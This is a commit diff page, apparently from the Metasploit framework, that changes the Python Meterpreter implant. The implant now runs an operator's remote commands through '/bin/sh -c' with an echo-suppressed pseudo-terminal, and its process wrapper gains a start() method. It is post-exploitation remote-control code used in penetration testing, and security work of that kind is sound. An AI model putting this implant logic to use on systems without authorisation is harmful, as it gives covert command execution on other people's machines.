Skip to content

Commit c035278

Browse files
zeroSteinerTod Beardsley
authored andcommitted
Improve process execution on Linux.
1 parent 89508af commit c035278

File tree

2 files changed

+32
-3
lines changed

2 files changed

+32
-3
lines changed

data/meterpreter/ext_server_stdapi.py

Lines changed: 30 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -12,12 +12,24 @@
1212

1313
has_windll = hasattr(ctypes, 'windll')
1414

15+
try:
16+
import pty
17+
has_pty = True
18+
except ImportError:
19+
has_pty = False
20+
1521
try:
1622
import pwd
1723
has_pwd = True
1824
except ImportError:
1925
has_pwd = False
2026

27+
try:
28+
import termios
29+
has_termios = True
30+
except ImportError:
31+
has_termios = False
32+
2133
try:
2234
import _winreg as winreg
2335
has_winreg = True
@@ -371,10 +383,25 @@ def stdapi_sys_process_execute(request, response):
371383
flags = packet_get_tlv(request, TLV_TYPE_PROCESS_FLAGS)['value']
372384
if len(cmd) == 0:
373385
return ERROR_FAILURE, response
374-
args = [cmd]
375-
args.extend(shlex.split(raw_args))
386+
if os.path.isfile('/bin/sh'):
387+
args = ['/bin/sh', '-c', cmd, raw_args]
388+
else:
389+
args = [cmd]
390+
args.extend(shlex.split(raw_args))
376391
if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED):
377-
proc_h = STDProcess(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
392+
if has_pty:
393+
master, slave = pty.openpty()
394+
if has_termios:
395+
settings = termios.tcgetattr(master)
396+
settings[3] = settings[3] & ~termios.ECHO
397+
termios.tcsetattr(master, termios.TCSADRAIN, settings)
398+
proc_h = STDProcess(args, stdin=slave, stdout=slave, stderr=slave, bufsize=0)
399+
proc_h.stdin = os.fdopen(master, 'wb')
400+
proc_h.stdout = os.fdopen(master, 'rb')
401+
proc_h.stderr = open(os.devnull, 'rb')
402+
else:
403+
proc_h = STDProcess(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
404+
proc_h.start()
378405
else:
379406
proc_h = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
380407
proc_h_id = len(meterpreter.processes)

data/meterpreter/meterpreter.py

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -167,6 +167,8 @@ def read(self, l = None):
167167
class STDProcess(subprocess.Popen):
168168
def __init__(self, *args, **kwargs):
169169
subprocess.Popen.__init__(self, *args, **kwargs)
170+
171+
def start(self):
170172
self.stdout_reader = STDProcessBuffer(self.stdout, lambda: self.poll() == None)
171173
self.stdout_reader.start()
172174
self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None)

0 commit comments

Comments
 (0)